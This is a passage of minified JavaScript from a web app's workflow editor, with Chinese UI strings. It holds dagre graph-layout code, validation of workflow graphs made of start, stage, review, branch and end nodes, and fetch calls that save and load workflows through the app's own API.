c=e.edge(u);Object.hasOwn(c,"x")&&l(c)}),t-=s,o-=a,e.nodes().forEach(u=>{let c=e.node(u);c.x-=t,c.y-=o}),e.edges().forEach(u=>{let c=e.edge(u);c.points.forEach(d=>{d.x-=t,d.y-=o}),Object.hasOwn(c,"x")&&(c.x-=t),Object.hasOwn(c,"y")&&(c.y-=o)}),r.width=n-t+s,r.height=i-o+a}function Q_(e){e.edges().forEach(t=>{if(t.v===t.w)return;let n=e.edge(t),o=e.node(t.v),i=e.node(t.w),r,s;n.points?(r=n.points[0],s=n.points[n.points.length-1]):(n.points=[],r=i,s=o),n.points.unshift(Is(o,r)),n.points.push(Is(i,s))})}function eb(e){e.edges().forEach(t=>{let n=e.edge(t);if(Object.hasOwn(n,"x"))switch((n.labelpos==="l"||n.labelpos==="r")&&(n.width-=n.labeloffset),n.labelpos){case"l":n.x-=n.width/2+n.labeloffset;break;case"r":n.x+=n.width/2+n.labeloffset;break}})}function tb(e){e.edges().forEach(t=>{let n=e.edge(t);n.reversed&&n.points.reverse()})}function nb(e){e.nodes().forEach(t=>{if(e.children(t).length){let n=e.node(t),o=e.node(n.borderTop),i=e.node(n.borderBottom),r=e.node(n.borderLeft[n.borderLeft.length-1]),s=e.node(n.borderRight[n.borderRight.length-1]);n.width=Math.abs(s.x-r.x),n.height=Math.abs(i.y-o.y),n.x=r.x+n.width/2,n.y=o.y+n.height/2}}),e.nodes().forEach(t=>{e.node(t).dummy==="border"&&e.removeNode(t)})}function ob(e){e.edges().forEach(t=>{if(t.v===t.w){let n=e.node(t.v);n.selfEdges||(n.selfEdges=[]),n.selfEdges.push({e:t,label:e.edge(t)}),e.removeEdge(t)}})}function ib(e){Vn(e).forEach(t=>{let n=0;t.forEach((o,i)=>{let r=e.node(o);typeof r.rank!="number"&&(r.rank=0),r.order=i+n,(r.selfEdges||[]).forEach(s=>{rn(e,"selfedge",{width:s.label.width,height:s.label.height,rank:r.rank,order:i+ ++n,e:s.e,edgeLabel:s.label},"_se"),(!Array.isArray(s.label.points)||s.label.points.length!==7)&&(s.label.points=[{x:0,y:-10},{x:0,y:-10},{x:0,y:0},{x:0,y:10},{x:0,y:10},{x:0,y:0},{x:0,y:0}])}),delete r.selfEdges})})}function rb(e){e.nodes().forEach(t=>{let n=e.node(t),o=i=>typeof i=="number"&&isFinite(i);if(n.dummy==="selfedge"){let i=n,r=e.node(i.e.v),s=o(r==null?void 0:r.x)?r.x:0,a=o(r==null?void 0:r.y)?r.y:0,l=o(r==null?void 0:r.width)?r.width:0,u=o(r==null?void 0:r.height)?r.height:0,c=o(n.x)?n.x:s,d=o(n.y)?n.y:a,h=l/2,g=u/2;i.edgeLabel.points=[{x:c+h,y:d-g},{x:c+h,y:d-g},{x:c,y:d},{x:c-h,y:d+g},{x:c-h,y:d+g},{x:c,y:d},{x:c,y:d}],i.edgeLabel.x=c,i.edgeLabel.y=d,e.setEdge(i.e,i.edgeLabel),e.removeNode(t)}else n&&Array.isArray(n.selfEdges)&&n.selfEdges.forEach(i=>{if(!Array.isArray(i.label.points)||i.label.points.length!==7){let r=o(n.x)?n.x:0,s=o(n.y)?n.y:0,a=o(n.width)?n.width:0,l=o(n.height)?n.height:0,u=a/2,c=l/2;i.label.points=[{x:r+u,y:s-c},{x:r+u,y:s-c},{x:r,y:s},{x:r-u,y:s+c},{x:r-u,y:s+c},{x:r,y:s},{x:r,y:s}]}})})}function vi(e,t){return Zo(Do(e,t),Number)}function mi(e){let t={};return e&&Object.entries(e).forEach(([n,o])=>{typeof n=="string"&&(n=n.toLowerCase()),t[n]=o}),t}function sb(e){let t=Vn(e),n=new Ze({compound:!0,multigraph:!0}).setGraph({});return e.nodes().forEach(o=>{n.setNode(o,{label:o}),n.setParent(o,"layer"+e.node(o).rank)}),e.edges().forEach(o=>n.setEdge(o.v,o.w,{},o.name)),t.forEach((o,i)=>{let r="layer"+i;n.setNode(r,{rank:"same"}),o.reduce((s,a)=>(n.setEdge(s,a,{style:"invis"}),a))}),n}var ab={graphlib:Ll,version:_1,layout:H_,debug:sb,util:{time:m1,notime:Jl}},Us=ab;/*! For license information please see dagre.esm.js.LEGAL.txt */function lb(e){return{name:e,description:"",reviewMode:"active",maxStageRounds:20,endConditions:"",body:`## 工作方式 + +## 验证方式 + +## 结束方式 +`,source:"user",updatedAt:"",nodes:[{kind:"start",id:"start-1",name:"开始",next:"end-1",position:{x:60,y:220}},{kind:"end",id:"end-1",name:"结束",position:{x:480,y:220}}]}}function Pe(e,t){return e.nodes.find(n=>n.id===t)}function Vt(e,t){return e.nodes.some(n=>n.id===t)}function Wi(e,t){var n,o;return((o=(n=Pe(e,t))==null?void 0:n.position)==null?void 0:o.y)??Number.MAX_SAFE_INTEGER}const ub=210,cb=118,db=170,fb=96,hb=150,gb=80,pb=110,vb=40,js="var(--text-secondary)",mb="var(--state-info)",yb="var(--state-danger)";function wb(e,t){const n=new Map,o=(d,h,g=!1)=>{n.has(d)||n.set(d,[]),n.get(d).push({source:h,isReject:g})};for(const d of e.nodes)if(d.kind!=="end")if(d.kind==="branch")for(const h of d.next)o(h.target,d.id);else d.next&&o(d.next,d.id),d.kind==="review"&&d.rejectTo&&o(d.rejectTo,d.id,!0);const i=d=>Wi(e,d),r=d=>{const h=Pe(e,d),g=(h==null?void 0:h.kind)==="stage"||(h==null?void 0:h.kind)==="branch";return(n.get(d)??[]).filter(b=>!b.isReject||!g).map(b=>b.source).sort((b,S)=>i(b)-i(S))},s=(d,h)=>{const _=r(d).indexOf(h);return _>=0?_:0},a=(d,h,g,_=!0)=>{const b=Pe(e,d);return g&&b&&(b.kind==="stage"||b.kind==="branch")?_?"in-top":"in-bottom":(b==null?void 0:b.kind)==="branch"||(b==null?void 0:b.kind)==="end"?`in-${s(d,h)}`:"in"},l=(d,h)=>{const g=Pe(e,h);return!d.position||!(g!=null&&g.position)?!0:g.position.y<=d.position.y},u=e.nodes.map(d=>{const h=d.kind==="start"||d.kind==="end";return{id:d.id,type:h?"boundary":d.kind,position:d.position??{x:0,y:0},data:{node:d,hasIssue:t.has(d.id),inCount:r(d.id).length,outCount:d.kind==="branch"?d.next.length:1}}}),c=[];for(const d of e.nodes)if(d.kind!=="end"){if(d.kind==="branch"){[...d.next].sort((g,_)=>i(g.target)-i(_.target)).forEach((g,_)=>{const b=g.condition.length>14?`${g.condition.slice(0,14)}…`:g.condition;c.push({id:`${d.id}->${g.target}`,source:d.id,target:g.target,sourceHandle:`out-${_}`,targetHandle:a(g.target,d.id,!1),...b?{label:b}:{},markerEnd:{type:Ut.ArrowClosed,color:js}})});continue}if(d.next&&c.push({id:`${d.id}->${d.next}`,source:d.id,target:d.next,sourceHandle:"out-0",targetHandle:a(d.next,d.id,!1),...d.kind==="review"?{class:"wf-edge-approved"}:{},markerEnd:{type:Ut.ArrowClosed,color:d.kind==="review"?mb:js}}),d.kind==="review"&&d.rejectTo){const h=l(d,d.rejectTo);c.push({id:`reject:${d.id}->${d.rejectTo}`,source:d.id,target:d.rejectTo,sourceHandle:h?"reject-out":"reject-out-b",targetHandle:a(d.rejectTo,d.id,!0,h),class:"wf-edge-back",markerEnd:{type:Ut.ArrowClosed,color:yb}})}}return{nodes:u,edges:c}}let Zs=0;function Hn(e,t){Zs+=1;let n=e.nodes.length+Zs,o=`${t}-${n}`;for(;Vt(e,o);)n+=1,o=`${t}-${n}`;return o}function qs(e,t){const n={kind:"stage",id:Hn(e,"stage"),name:`阶段 ${e.nodes.filter(o=>o.kind==="stage").length+1}`,goal:"",instructions:"",next:null,position:t};return e.nodes.push(n),n}function _b(e,t){const n={kind:"review",id:Hn(e,"review"),name:`审核 ${e.nodes.filter(o=>o.kind==="review").length+1}`,prompt:"",next:null,rejectTo:null,maxRejects:3,position:t};return e.nodes.push(n),n}function bb(e,t){const n={kind:"branch",id:Hn(e,"branch"),name:`分支 ${e.nodes.filter(o=>o.kind==="branch").length+1}`,next:[],position:t};return e.nodes.push(n),n}function Eb(e,t){const n={kind:"start",id:Hn(e,"start"),name:"开始",next:null,position:t};return e.nodes.push(n),n}function xb(e,t){const n={kind:"end",id:Hn(e,"end"),name:"结束",position:t};return e.nodes.push(n),n}function Ks(e,t){e.nodes=e.nodes.filter(n=>n.id!==t);for(const n of e.nodes)n.kind!=="end"&&(n.kind==="branch"?n.next=n.next.filter(o=>o.target!==t):(n.next===t&&(n.next=null),n.kind==="review"&&n.rejectTo===t&&(n.rejectTo=null)))}function Js(e,t,n){var i;if(t===n)return"不能连接到自身";const o=Pe(e,t);return o?o.kind==="end"?"结束节点没有出线":Vt(e,n)?((i=Pe(e,n))==null?void 0:i.kind)==="start"?"不能连到开始节点":o.kind==="branch"?o.next.some(r=>r.target===n)?"该路由已存在":(o.next.push({target:n,condition:""}),null):o.kind==="review"&&o.rejectTo===n?"该目标已是驳回路由(红线),先断开驳回路由":(o.next=n,null):"目标节点不存在":"源节点不存在"}function $b(e,t,n,o){var l;const i=Pe(e,t);if(!i)return"源节点不存在";if(i.kind!=="branch")return"只有分支节点有多出桩";if(!Vt(e,o))return"目标节点不存在";if(((l=Pe(e,o))==null?void 0:l.kind)==="start")return"不能连到开始节点";const s=[...i.next].sort((u,c)=>Wi(e,u.target)-Wi(e,c.target))[n];if(s===void 0)return"该连接点是空桩,拖线即新增出线";if(s.target===o)return null;if(i.next.some(u=>u.target===o))return"该目标已在出线中";const a=i.next.find(u=>u.target===s.target);return a&&(a.target=o),null}function kb(e,t,n){var i;if(t===n)return"不能驳回至自身";const o=Pe(e,t);return o?o.kind!=="review"?"只有审核节点(菱形)有驳回路由":Vt(e,n)?((i=Pe(e,n))==null?void 0:i.kind)==="start"?"不能驳回至开始节点":o.next===n?"该目标已是通过路由(蓝线)":(o.rejectTo=n,null):"目标节点不存在":"源节点不存在"}function yi(e,t,n){const o=Pe(e,t);!o||o.kind==="end"||(o.kind==="branch"?o.next=o.next.filter(i=>i.target!==n):o.next===n&&(o.next=null))}function Qs(e,t){const n=Pe(e,t);!n||n.kind!=="review"||(n.rejectTo=null)}function Nb(e,t){var n;return((n=Pe(e,t))==null?void 0:n.name)??t}function Sb(e){const t=[];if(e.name.trim()||t.push({level:"error",message:"工作流缺少 name"}),e.description.trim()||t.push({level:"warning",message:"工作流缺少 description(激活选择时靠它辨认)"}),e.nodes.length===0)return t.push({level:"error",message:"至少需要一个开始节点和一个结束节点"}),t;const n=l=>Vt(e,l),o=l=>{var u;return((u=Pe(e,l))==null?void 0:u.kind)==="start"},i=e.nodes.filter(l=>l.kind==="start"),r=e.nodes.filter(l=>l.kind==="end");i.length===0?t.push({level:"error",message:"缺少开始节点(顶栏「添加节点 → 开始」)"}):i.length>1&&t.push({level:"error",message:`开始节点只能有一个(当前 ${i.length} 个)`,nodeId:i[1].id}),r.length===0&&t.push({level:"error",message:"缺少结束节点(顶栏「添加节点 → 结束」)"});const s=new Set;for(const l of e.nodes)switch(s.has(l.id)&&t.push({level:"error",message:`节点 id 重复:${l.id}`,nodeId:l.id}),s.add(l.id),l.name.trim()||t.push({level:"error",message:`节点 ${l.id} 缺少名称`,nodeId:l.id}),l.kind){case"start":l.next===null?t.push({level:"error",message:"开始节点未连接(从右侧连桩拖线到首个节点)",nodeId:l.id}):n(l.next)||t.push({level:"error",message:`开始节点指向不存在的节点:${l.next}`,nodeId:l.id});break;case"end":break;case"stage":l.goal.trim()||t.push({level:"warning",message:`阶段「${l.name||l.id}」缺少目标描述`,nodeId:l.id}),l.next===null?t.push({level:"error",message:`阶段「${l.name||l.id}」未连接后续(连到下一节点或结束节点)`,nodeId:l.id}):n(l.next)?o(l.next)&&t.push({level:"error",message:`阶段「${l.name}」不能连到开始节点`,nodeId:l.id}):t.push({level:"error",message:`阶段「${l.name}」指向不存在的节点:${l.next}`,nodeId:l.id});break;case"review":l.prompt.trim()||t.push({level:"warning",message:`审核「${l.name||l.id}」缺少审核关注点`,nodeId:l.id}),l.next===null?t.push({level:"error",message:`审核「${l.name||l.id}」未连接通过路由(蓝线)`,nodeId:l.id}):n(l.next)||t.push({level:"error",message:`审核「${l.name}」指向不存在的节点:${l.next}`,nodeId:l.id}),l.rejectTo===null?t.push({level:"error",message:`审核「${l.name||l.id}」缺少驳回路由(红线必须连接)`,nodeId:l.id}):n(l.rejectTo)?o(l.rejectTo)&&t.push({level:"error",message:`审核「${l.name}」不能驳回至开始节点`,nodeId:l.id}):t.push({level:"error",message:`审核「${l.name}」驳回至不存在的节点:${l.rejectTo}`,nodeId:l.id}),(!Number.isFinite(l.maxRejects)||l.maxRejects<1)&&t.push({level:"error",message:`审核「${l.name||l.id}」驳回上限必须 ≥ 1`,nodeId:l.id});break;case"branch":l.next.length===0&&t.push({level:"warning",message:`分支「${l.name||l.id}」没有出线(死端)`,nodeId:l.id});for(const u of l.next)n(u.target)?o(u.target)&&t.push({level:"error",message:`分支「${l.name}」不能连到开始节点`,nodeId:l.id}):t.push({level:"error",message:`分支「${l.name}」指向不存在的节点:${u.target}`,nodeId:l.id});if(l.next.length>=2)for(const u of l.next)u.condition.trim()||t.push({level:"warning",message:`分支「${l.name}」到「${Nb(e,u.target)}」的出线缺少条件描述`,nodeId:l.id});break}const a=i[0];if(a&&a.kind==="start"&&a.next&&n(a.next)){const l=new Set([a.id]),u=[a.next];for(;u.length;){const c=u.shift();if(l.has(c))continue;l.add(c);const d=Pe(e,c);if(!d||d.kind==="end")continue;const h=d.kind==="branch"?d.next.map(g=>g.target):[d.next,d.kind==="review"?d.rejectTo:null].filter(g=>!!g);for(const g of h)l.has(g)||u.push(g)}for(const c of e.nodes)l.has(c.id)||t.push({level:"warning",message:`节点「${c.name}」从开始节点不可达`,nodeId:c.id})}return t}function ea(e){if(e.nodes.length===0)return;const t=new Map;for(const i of e.nodes){if(i.kind==="end")continue;const r=i.kind==="branch"?i.next.map(s=>s.target):i.next?[i.next]:[];for(const s of r)Vt(e,s)&&t.set(s,(t.get(s)??0)+1)}const n=i=>{switch(i.kind){case"start":case"end":return{width:pb,height:vb};case"review":return{width:db,height:fb};case"branch":{const r=Math.max(t.get(i.id)??1,i.next.length,2);return{width:hb,height:Math.max(gb,r*24+40)}}default:return{width:ub,height:cb}}},o=new Us.graphlib.Graph;o.setGraph({rankdir:"LR",nodesep:70,ranksep:130,marginx:60,marginy:60}),o.setDefaultEdgeLabel(()=>({}));for(const i of e.nodes)o.setNode(i.id,n(i));for(const i of e.nodes){if(i.kind==="end")continue;const r=i.kind==="branch"?i.next.map(s=>s.target):[i.next,i.kind==="review"?i.rejectTo:null].filter(s=>!!s);for(const s of r)Vt(e,s)&&o.setEdge(i.id,s)}Us.layout(o);for(const i of e.nodes){const r=o.node(i.id),{width:s,height:a}=n(i);i.position={x:Math.round(r.x-s/2),y:Math.round(r.y-a/2)}}for(const i of e.nodes)i.kind==="review"&&i.rejectTo!==null&&i.position&&(i.position={x:i.position.x,y:i.position.y+170})}async function Ko(e,t){try{const n=await e.json();if(n&&typeof n.error=="string"&&n.error)return new Error(n.error)}catch{}return new Error(`${t}(HTTP ${e.status})`)}async function Cb(){const e=await fetch("/api/workflows");if(!e.ok)throw await Ko(e,"加载工作流列表失败");const t=await e.json();return Array.isArray(t.workflows)?t.workflows:[]}async function wi(e){const t=await fetch(`/api/workflows/${encodeURIComponent(e)}`);if(!t.ok)throw await Ko(t,"加载工作流失败");return(await t.json()).workflow}async function Ui(e){const t=await fetch(`/api/workflows/${encodeURIComponent(e.name)}`,{method:"PUT",headers:{"Content-Type":"application/json"},body:JSON.stringify({workflow:e})});if(!t.ok)throw await Ko(t,"保存工作流失败")}async function ta(e){const t=await fetch(`/api/workflows/${encodeURIComponent(e)}`,{method:"DELETE"});if(!t.ok)throw await Ko(t,"删除工作流失败")}const Mb={class:"wf-editor"},Ib={class:"wf-editor__topbar"},Tb={class:"wf-editor__topbar-left"},Ob={class:"wf-editor__name"},Ab={class:"wf-editor__badge"},Db={key:0,class:"wf-editor__dirty"},Pb={class:"wf-editor__topbar-right"},zb={key:0,class:"wf-editor__issues-pop"},Rb={key:0,class:"wf-select__menu"},Bb=["disabled"],Vb={key:0,class:"wf-editor__flash"},Hb={class:"wf-editor__body"},Lb={class:"wf-editor__canvas"},Fb={class:"wf-panel"},Yb={class:"wf-panel__section"},Gb={class:"wf-field"},Xb={class:"wf-field"},Wb={class:"wf-field"},Ub={class:"wf-segment"},jb={class:"wf-field"},Zb=["value"],qb={class:"wf-field"},Kb={class:"wf-panel__section"},Jb={class:"wf-field"},Qb={class:"wf-panel__section"},eE={class:"wf-panel__heading"},tE={class:"wf-panel__heading-id"},nE={class:"wf-field"},oE={class:"wf-field"},iE={class:"wf-field"},rE={class:"wf-panel__section"},sE={key:0,class:"wf-route-list"},aE={class:"wf-route-row"},lE={class:"wf-route-row__name"},uE=["aria-label"],cE={key:1,class:"wf-panel__empty"},dE={class:"wf-panel__section"},fE={key:1,class:"wf-confirm-row"},hE={class:"wf-panel__section"},gE={class:"wf-panel__heading"},pE={class:"wf-panel__heading-id"},vE={class:"wf-field"},mE={class:"wf-field"},yE={class:"wf-field"},wE=["value"],_E={class:"wf-panel__section"},bE={key:0,class:"wf-route-list"},EE={class:"wf-route-row"},xE={class:"wf-route-row__name"},$E=["aria-label"],kE={key:1,class:"wf-panel__empty"},NE={class:"wf-panel__section"},SE={key:0,class:"wf-route-list"},CE={class:"wf-route-row"},ME={class:"wf-route-row__name"},IE=["aria-label"],TE={key:1,class:"wf-panel__empty wf-panel__empty--error"},OE={class:"wf-panel__section"},AE={key:1,class:"wf-confirm-row"},DE={class:"wf-panel__section"},PE={class:"wf-panel__heading"},zE={class:"wf-panel__heading-id"},RE={class:"wf-field"},BE={class:"wf-panel__section"},VE={class:"wf-panel__heading"},HE={key:0,class:"wf-route-list"},LE={class:"wf-route-row"},FE={class:"wf-route-row__name"},YE=["aria-label","onClick"],GE=["onUpdate:modelValue"],XE={key:1,class:"wf-panel__empty"},WE={class:"wf-panel__section"},UE={key:1,class:"wf-confirm-row"},jE={class:"wf-panel__section"},ZE={class:"wf-panel__heading"},qE={class:"wf-panel__heading-id"},KE={class:"wf-field"},JE={key:0,class:"wf-panel__section"},QE={key:0,class:"wf-route-list"},ex={class:"wf-route-row"},tx={class:"wf-route-row__name"},nx=["aria-label"],ox={key:1,class:"wf-panel__empty wf-panel__empty--error"},ix={class:"wf-panel__section"},rx={key:1,class:"wf-confirm-row"},sx=ye({__name:"WorkflowEditorView",props:{workflow:{}},emits:["back","save"],setup(e,{emit:t}){const n=e,o=t,i=pe([]),r=pe([]),s=pe(""),a=pe(!1),l=pe(""),u=pe(!1),c=pe(!1),d=pe(!1),h=pe(null),g=pe(null),_=pe(!1);let b=null;const{project:S,fitView:$,getViewport:N,updateNodeInternals:v}=Ne(),x=ie(()=>Sb(n.workflow)),D=ie(()=>x.value.filter(y=>y.level==="error").length),V=ie(()=>D.value>0?`${D.value} 个错误`:x.value.length>0?`${x.value.length} 个提醒`:"结构正常"),F=ie(()=>new Set(x.value.map(y=>y.nodeId).filter(Boolean))),B=ie(()=>Array.from(F.value).sort().join(",")),G=ie(()=>n.workflow.nodes.find(y=>y.id===s.value)??null),L=ie(()=>{var y;return((y=G.value)==null?void 0:y.kind)==="stage"?G.value:null}),R=ie(()=>{var y;return((y=G.value)==null?void 0:y.kind)==="review"?G.value:null}),C=ie(()=>{var y;return((y=G.value)==null?void 0:y.kind)==="branch"?G.value:null}),X=ie(()=>{var y,f;return((y=G.value)==null?void 0:y.kind)==="start"||((f=G.value)==null?void 0:f.kind)==="end"?G.value:null});function p(y){var f;return((f=n.workflow.nodes.find(m=>m.id===y))==null?void 0:f.name)??y}function k(){n.workflow.nodes.length>0&&n.workflow.nodes.some(f=>!f.position)&&ea(n.workflow);const y=wb(n.workflow,F.value);i.value=y.nodes,r.value=y.edges,Ye(()=>v())}Ee(B,k),Ee(()=>n.workflow,()=>{u.value=!0},{deep:!0});function w(y){const{source:f,target:m}=y;if(!f||!m||f===m)return;const I=y.sourceHandle??"",M=n.workflow.nodes.find(U=>U.id===f);if(!(!M||M.kind==="end")){if(I.startsWith("reject-")){const U=M.kind==="review"?M.rejectTo:null,j=kb(n.workflow,f,m);j?ue(j):U&&U!==m&&ue(`已替换原驳回路由(原驳回到「${p(U)}」)`)}else if(M.kind==="branch"){const U=/^out-(\d+)$/.exec(I),j=U?parseInt(U[1],10):-1;if(j>=0&&jM.id===m.id);I&&(I.position={...m.position})}m.type==="remove"&&(Ks(n.workflow,m.id),s.value===m.id&&(s.value=""),f=!0),m.type==="select"&&(m.selected?s.value=m.id:s.value===m.id&&(s.value=""))}i.value=Qh(y,i.value),f&&k()}function T(y){let f=!1;for(const m of y)if(m.type==="remove"){const I=m.id.startsWith("reject:"),[M,U]=(I?m.id.slice(7):m.id).split("->");if(!M||!U)continue;I?Qs(n.workflow,M):yi(n.workflow,M,U),f=!0}r.value=Jh(y,r.value),f&&k()}function z(y){s.value=y.node.id,_.value=!1}function A(){s.value="",_.value=!1}function Y(y){if(!y.target.classList.contains("vue-flow__pane"))return;const m=S({x:y.clientX,y:y.clientY}),I=qs(n.workflow,{x:m.x-105,y:m.y-48});k(),s.value=I.id}function q(y){d.value=!1;const f=N(),m=document.querySelector(".wf-editor__canvas"),I=m==null?void 0:m.getBoundingClientRect(),M=((I==null?void 0:I.width)??800)/2,U=((I==null?void 0:I.height)??500)/2,j={x:(M-f.x)/f.zoom-90,y:(U-f.y)/f.zoom-50},oe=y==="review"?_b(n.workflow,j):y==="branch"?bb(n.workflow,j):y==="start"?Eb(n.workflow,j):y==="end"?xb(n.workflow,j):qs(n.workflow,j);k(),s.value=oe.id}function ne(y){const f=y.target.value.replace(/[^0-9]/g,"");y.target.value=f;const m=parseInt(f,10);Number.isFinite(m)&&m>0&&(n.workflow.maxStageRounds=m)}function re(y){const f=y.target.value.replace(/[^0-9]/g,"");y.target.value=f;const m=parseInt(f,10);Number.isFinite(m)&&m>0&&R.value&&(R.value.maxRejects=m)}function Z(y){G.value&&(yi(n.workflow,G.value.id,y),k())}function K(){const y=G.value;!y||y.kind==="branch"||!y.next||(yi(n.workflow,y.id,y.next),k())}function Q(){const y=R.value;y!=null&&y.rejectTo&&(Qs(n.workflow,y.id),k())}function ce(){G.value&&(Ks(n.workflow,G.value.id),s.value="",_.value=!1,k())}function me(){ea(n.workflow),k(),Ye(()=>$({padding:.2,maxZoom:1}))}function ue(y){l.value=y,b&&clearTimeout(b),b=setTimeout(()=>{l.value=""},2600)}async function we(){if(D.value>0){a.value=!0,ue(`存在 ${D.value} 个结构错误,请先修复`);return}if(!c.value){c.value=!0;try{await Ui(n.workflow),u.value=!1,o("save"),ue("已保存")}catch(y){ue(y instanceof Error?y.message:"保存失败")}finally{c.value=!1}}}function le(y){d.value&&h.value&&!h.value.contains(y.target)&&(d.value=!1),a.value&&g.value&&!g.value.contains(y.target)&&(a.value=!1)}function ee(y){return{"--icon-src":`url(${y})`}}return it(()=>{k(),document.addEventListener("click",le),Ye(()=>$({padding:.2,maxZoom:1}))}),ji(()=>{document.removeEventListener("click",le),b&&clearTimeout(b)}),(y,f)=>(H(),W("div",Mb,[E("header",Ib,[E("div",Tb,[E("button",{type:"button",class:"wf-icon-btn","aria-label":"返回工作流库",title:"返回工作流库",onClick:f[0]||(f[0]=m=>y.$emit("back"))},[E("span",{class:"icon",style:ae(ee(P(fe).arrowLeft)),"aria-hidden":"true"},null,4)]),E("span",{class:"icon wf-editor__logo",style:ae(ee(P(fe).workflow)),"aria-hidden":"true"},null,4),E("span",Ob,ve(e.workflow.name),1),E("span",Ab,ve(e.workflow.source==="builtin"?"内置":"用户"),1),u.value?(H(),W("span",Db,"未保存")):ke("",!0)]),E("div",Pb,[E("div",{class:"wf-editor__issues-anchor",ref_key:"issuesAnchorRef",ref:g},[E("button",{type:"button",class:Te(["wf-btn wf-btn--ghost",{"wf-btn--issue":D.value>0}]),title:"查看结构提醒与错误",onClick:f[1]||(f[1]=_i(m=>a.value=!a.value,["stop"]))},[E("span",{class:"icon",style:ae(ee(D.value>0?P(fe).circleAlert:P(fe).check)),"aria-hidden":"true"},null,4),E("span",null,ve(V.value),1)],2),a.value&&x.value.length?(H(),W("div",zb,[(H(!0),W(Se,null,ot(x.value,(m,I)=>(H(),W("div",{key:I,class:Te(["wf-issue",`wf-issue--${m.level}`])},[E("span",{class:"icon",style:ae(ee(m.level==="error"?P(fe).circleAlert:P(fe).triangleAlert)),"aria-hidden":"true"},null,4),E("span",null,ve(m.message),1)],2))),128))])):ke("",!0)],512),E("button",{type:"button",class:"wf-btn wf-btn--ghost",title:"自动排版",onClick:me},[E("span",{class:"icon",style:ae(ee(P(fe).layoutGrid)),"aria-hidden":"true"},null,4),f[27]||(f[27]=E("span",null,"自动排版",-1))]),E("div",{class:"wf-select wf-select--toolbar",ref_key:"addNodeSelectRef",ref:h},[E("button",{type:"button",class:"wf-btn wf-btn--ghost",title:"在画布中央添加节点(或双击画布空白处添加阶段)",onClick:f[2]||(f[2]=_i(m=>d.value=!d.value,["stop"]))},[E("span",{class:"icon",style:ae(ee(P(fe).plus)),"aria-hidden":"true"},null,4),f[28]||(f[28]=E("span",null,"添加节点",-1)),E("span",{class:"icon wf-select__caret",style:ae(ee(P(fe).chevronDown)),"aria-hidden":"true"},null,4)]),d.value?(H(),W("div",Rb,[E("button",{type:"button",class:"wf-select__option",onClick:f[3]||(f[3]=m=>q("stage"))},[E("span",{class:"icon",style:ae(ee(P(fe).plus)),"aria-hidden":"true"},null,4),f[29]||(f[29]=E("span",{class:"wf-select__option-name"},"阶段",-1)),f[30]||(f[30]=E("span",{class:"wf-select__option-desc"},"AI 执行,单入单出",-1))]),E("button",{type:"button",class:"wf-select__option",onClick:f[4]||(f[4]=m=>q("review"))},[E("span",{class:"icon",style:ae(ee(P(fe).eye)),"aria-hidden":"true"},null,4),f[31]||(f[31]=E("span",{class:"wf-select__option-name"},"审核",-1)),f[32]||(f[32]=E("span",{class:"wf-select__option-desc"},"菱形,通过/驳回",-1))]),E("button",{type:"button",class:"wf-select__option",onClick:f[5]||(f[5]=m=>q("branch"))},[E("span",{class:"icon",style:ae(ee(P(fe).gitBranch)),"aria-hidden":"true"},null,4),f[33]||(f[33]=E("span",{class:"wf-select__option-name"},"分支",-1)),f[34]||(f[34]=E("span",{class:"wf-select__option-desc"},"多入多出,条件路由",-1))]),E("button",{type:"button",class:"wf-select__option",onClick:f[6]||(f[6]=m=>q("start"))},[E("span",{class:"icon",style:ae(ee(P(fe).play)),"aria-hidden":"true"},null,4),f[35]||(f[35]=E("span",{class:"wf-select__option-name"},"开始",-1)),f[36]||(f[36]=E("span",{class:"wf-select__option-desc"},"入口,只能有一个",-1))]),E("button",{type:"button",class:"wf-select__option",onClick:f[7]||(f[7]=m=>q("end"))},[E("span",{class:"icon",style:ae(ee(P(fe).octagon)),"aria-hidden":"true"},null,4),f[37]||(f[37]=E("span",{class:"wf-select__option-name"},"结束",-1)),f[38]||(f[38]=E("span",{class:"wf-select__option-desc"},"终点,可多个",-1))])])):ke("",!0)],512),E("button",{type:"button",class:"wf-btn wf-btn--primary",disabled:c.value,onClick:we},[E("span",{class:"icon",style:ae(ee(P(fe).save)),"aria-hidden":"true"},null,4),E("span",null,ve(c.value?"保存中…":"保存"),1)],8,Bb)])]),l.value?(H(),W("div",Vb,ve(l.value),1)):ke("",!0),E("div",Hb,[E("div",Lb,[xe(P(Kp),{nodes:i.value,"onUpdate:nodes":f[8]||(f[8]=m=>i.value=m),edges:r.value,"onUpdate:edges":f[9]||(f[9]=m=>r.value=m),class:"wf-flow","delete-key-code":["Backspace","Delete"],"min-zoom":.2,"max-zoom":2,onConnect:w,onNodesChange:O,onEdgesChange:T,onNodeClick:z,onPaneClick:A,onDblclick:Y},{"node-stage":ze(m=>[xe(kw,cn(Ln(m)),null,16)]),"node-review":ze(m=>[xe(Aw,cn(Ln(m)),null,16)]),"node-branch":ze(m=>[xe(Bw,cn(Ln(m)),null,16)]),"node-boundary":ze(m=>[xe(Cw,cn(Ln(m)),null,16)]),default:ze(()=>[xe(P(rv),{gap:24,size:1.5,"pattern-color":"var(--border-strong)"}),xe(P(zv),{"show-interactive":!1,position:"bottom-left"}),xe(P(yw),{pannable:"",zoomable:"",position:"bottom-right","node-color":"var(--text-tertiary)","mask-color":"color-mix(in srgb, var(--surface-base) 72%, transparent)"})]),_:1},8,["nodes","edges"])]),E("aside",Fb,[G.value?L.value?(H(),W(Se,{key:1},[E("div",Qb,[E("div",eE,[f[48]||(f[48]=E("span",null,"阶段属性",-1)),E("span",tE,ve(L.value.id),1)]),E("label",nE,[f[49]||(f[49]=E("span",{class:"wf-field__label"},"阶段名称",-1)),Le(E("input",{"onUpdate:modelValue":f[16]||(f[16]=m=>L.value.name=m),class:"wf-input",type:"text"},null,512),[[Fe,L.value.name]])]),E("label",oE,[f[50]||(f[50]=E("span",{class:"wf-field__label"},"阶段目标(goal)",-1)),Le(E("textarea",{"onUpdate:modelValue":f[17]||(f[17]=m=>L.value.goal=m),class:"wf-textarea",rows:"2",placeholder:"这一阶段要达成什么"},null,512),[[Fe,L.value.goal]])]),E("label",iE,[f[51]||(f[51]=E("span",{class:"wf-field__label"},"工作方式说明",-1)),Le(E("textarea",{"onUpdate:modelValue":f[18]||(f[18]=m=>L.value.instructions=m),class:"wf-textarea",rows:"4",placeholder:"本阶段的具体工作方式(自然语言)"},null,512),[[Fe,L.value.instructions]])])]),E("div",rE,[f[52]||(f[52]=E("div",{class:"wf-panel__heading"},"前进路由",-1)),L.value.next?(H(),W("div",sE,[E("div",aE,[E("span",{class:"icon",style:ae(ee(P(fe).gitBranch)),"aria-hidden":"true"},null,4),E("span",lE,ve(p(L.value.ne